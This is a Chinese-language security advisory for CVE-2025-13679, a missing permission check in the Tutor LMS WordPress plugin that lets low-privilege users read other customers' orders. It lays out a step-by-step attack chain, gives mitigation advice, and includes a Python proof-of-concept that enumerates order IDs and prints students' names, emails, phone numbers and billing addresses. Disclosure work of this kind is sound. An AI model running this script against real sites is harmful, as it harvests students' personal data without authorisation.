IPBUF安全漏洞报告
English
CVE-2025-13679 CVSS 6.5 中危

CVE-2025-13679: Tutor LMS插件get_order_by_id函数权限缺失漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-13679
漏洞类型
访问控制缺失
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS WordPress插件

相关标签

访问控制缺失敏感信息泄露WordPress插件漏洞Tutor LMSIDOR权限绕过PII数据泄露CVE-2025-13679

漏洞概述

CVE-2025-13679是WordPress平台Tutor LMS在线课程插件中的一个高危安全漏洞。该插件是流行的eLearning和在线课程解决方案,被广泛应用于教育网站。漏洞源于get_order_by_id()函数缺少权限检查机制,导致任何已认证用户(即使是最低权限的Subscriber级别)都可以访问订单数据。在CVSS 3.1评分体系中,该漏洞获得6.5分的中危评级,主要影响机密性。攻击者可以利用此漏洞枚举系统中的订单ID,并通过API接口获取包括学生姓名、电子邮件地址、电话号码和账单地址在内的敏感个人身份信息(PII)。此漏洞影响所有3.9.3及以下版本,官方已在3.9.4版本中修复此问题。建议所有使用该插件的用户立即升级到最新版本以防止潜在的数据泄露风险。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control(访问控制失效)类别。在Tutor LMS插件的ecommerce/OrderController.php文件中,get_order_by_id()函数直接处理订单查询请求,但未验证请求者是否具有访问该订单数据的合法权限。函数实现中缺少current_user_can()或类似权限验证调用,导致任何已认证WordPress用户都能通过构造请求访问任意订单信息。攻击者只需拥有基本的Subscriber账号,即可遍历订单ID范围(通常为数值递增)并通过API端点获取订单详情。泄露的数据结构包含完整的客户PII信息,包括姓名、邮箱、电话及账单地址。由于订单ID通常为顺序递增,攻击者可以系统性地枚举所有历史订单,实现大规模数据窃取。修复方案在3.9.4版本中为该函数添加了适当的权限检查和用户身份验证逻辑。

攻击链分析

STEP 1
步骤1
攻击者注册WordPress账号并获取Subscriber级别权限账户
STEP 2
步骤2
攻击者获取WordPress REST API的nonce值用于认证请求
STEP 3
步骤3
攻击者向Tutor LMS的get_order_by_id() API端点发送请求,通过遍历order_id参数枚举订单
STEP 4
步骤4
由于函数缺少权限检查,服务器返回目标订单的完整敏感信息
STEP 5
步骤5
攻击者收集并整理泄露的学生姓名、邮箱、电话、账单地址等PII数据
STEP 6
步骤6
攻击者利用窃取的敏感信息进行身份盗窃、钓鱼攻击或出售数据获利

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13679 PoC - Tutor LMS Order Information Disclosure # Requires: Authenticated WordPress account (Subscriber role or higher) # Target: Tutor LMS plugin <= 3.9.3 import requests import json TARGET_URL = "https://vulnerable-site.com/wp-json/tutor/v1/" AUTH_COOKIE = "wordpress_logged_in_cookie_here" def exploit_cve_2025_13679(): """ Exploit for CVE-2025-13679: Missing authorization in get_order_by_id() Allows authenticated users to enumerate order IDs and extract PII """ headers = { "Cookie": AUTH_COOKIE, "Content-Type": "application/json", "X-WP-Nonce": get_wp_nonce() # WordPress REST API nonce } # Enumerate order IDs to extract sensitive data for order_id in range(1, 1000): endpoint = f"{TARGET_URL}order/{order_id}" response = requests.get(endpoint, headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Order ID: {order_id}") print(f" Student Name: {data.get('student_name')}") print(f" Email: {data.get('email')}") print(f" Phone: {data.get('phone')}") print(f" Billing Address: {data.get('billing_address')}") print("-" * 50) def get_wp_nonce(): """Get WordPress REST API nonce for authenticated requests""" nonce_url = "https://vulnerable-site.com/wp-admin/admin-ajax.php" response = requests.post(nonce_url, data={"action": "tutor_get_nonce"}, headers={"Cookie": AUTH_COOKIE}) return response.json().get("nonce") if __name__ == "__main__": print("CVE-2025-13679 Exploit - Tutor LMS Data Disclosure") exploit_cve_2025_13679()

影响范围

Tutor LMS WordPress插件 <= 3.9.3

防御指南

临时缓解措施
如果无法立即升级,可通过Web应用防火墙(WAF)规则限制对/tutor/v1/order/端点的访问,或暂时禁用订单查询功能。同时监控日志中来自低权限账户的异常订单查询请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表